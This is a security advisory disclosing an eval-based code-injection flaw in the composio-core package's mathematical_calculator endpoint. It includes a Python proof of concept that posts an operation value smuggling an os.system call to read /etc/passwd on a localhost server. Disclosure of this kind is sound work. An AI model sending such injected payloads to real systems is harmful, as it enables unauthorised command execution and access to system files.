Dynamic Variable Evaluation Affecting composio-core package, versions [,0.5.43)

composio-core is a Core package to act as a bridge between composio platform and other services.

Affected versions of this package are vulnerable to Dynamic Variable Evaluation through the eval function in the mathematical_calculator endpoint. An attacker can execute arbitrary code by injecting malicious input into the function.

import requests

url = "http://localhost:8000/api/actions/execute/mathematical_calculator"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Cookie": "ajs_anonymous_id=736dccdf-3165-49e6-8800-33d3a0699422",
    "Content-Type": "application/json"
}

data = {
    "params": {
        "operation": "__import__('os').system('cat /etc/passwd > /tmp/testing.txt')"
    }
}

response = requests.post(url, json=data, headers=headers)

print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

• GitHub Commit
• Vulnerable Code